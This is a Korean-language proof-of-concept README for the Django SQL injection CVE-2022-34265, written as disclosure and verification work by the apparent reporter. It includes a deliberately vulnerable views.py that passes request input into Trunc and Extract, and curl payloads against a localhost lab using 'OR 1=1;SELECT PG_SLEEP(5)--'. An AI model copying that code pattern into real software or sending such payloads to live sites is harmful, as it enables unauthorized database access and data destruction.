
CVE-2022-34265 (Django)용 PoC
시작
docker-compose build
docker-compose up -d
중지
docker-compose down
2022년 7월 5일(미국 시간)에 Django의 취약점(CVE-2022-34265)이 공개되었습니다. 이 글은 이 취약점에 대한 논의와 검증 결과를 설명합니다.
이 취약점은 Django에서 날짜 데이터에 사용되는 Trunc 및 Extract 함수의 인자에 대해 SQL을 실행할 때 문자열 처리가 부적절하여 발생합니다. 요청 파라미터를 Trunc의 kind 인자 또는 Extract의 lookup_name 인자에 그대로 지정하면 임의의 SQL 문이 실행될 위험이 있습니다.
이 취약점을 악용하면 제3자가 데이터베이스에 명령을 보내 승인되지 않은 데이터에 접근하거나 데이터베이스를 삭제할 수 있습니다.
과거 Django에서 발견된 많은 취약점은 SQL Injection 취약점이었으며, CVE-2020-7471과 같은 다른 취약점이 있는지 궁금하여 데이터베이스 함수 인자를 차례로 확인한 결과, 정화되지 않은 인자를 발견했고, Takuto Yoshikai(저자)가 이를 IPA와 Django 개발 팀에 보고했습니다.
그 결과, CVE-2022-34265를 해결한 릴리스에서는
다음과 같은 조치가 취해졌습니다.
vuln/models.py
날짜의 시작 및 종료 시간을 기록하는 테이블의 모델로 Django Documentation의 예제를 사용했습니다.
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
이는 Experiment의 start_datetime 열에서 end_datetime의 년, 월, 일, 시, 분, 초 등과 동일한 연도 번호를 필터링합니다. 여기서 SQL Injection 취약점이 트리거될 수 있습니다.
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
Trunc 함수는 날짜 및 시간 데이터의 특정 년, 월, 일, 시, 분, 초 부분을 자르는 데 사용됩니다. 위의 예에서는 start_datetime과 payload 부분이 잘린 start_datetime이 동일한 레코드를 찾습니다. 여기서 SQL Injection 취약점이 트리거될 수 있습니다.
공격이 성공하는지 확인하기 위해 PG_SLEEP 명령어를 사용하여 응답 반환 시간에 지연이 있는지 확인합니다.
# 정상 URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# 데이터베이스 명령어가 실행될 수 있는 URL
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
PG_SLEEP에 5초를 지정했지만 PG_SLEEP(5)는 몇 초가 걸리는 것으로 보입니다. 구현 및 상황에 따라 몇 초가 호출되는 것으로 보입니다. 임의의 SQL 문을 실행할 수 있으므로 데이터베이스 삭제와 같은 위험한 공격이 가능합니다.
논의 및 검증 결과, 구현에 따라 공격이 성공할 가능성이 적지 않음을 발견했습니다. 최악의 경우 DROP TABLE의 위험을 피하기 위해 가능한 한 빨리 시스템을 업데이트할 것을 권장합니다.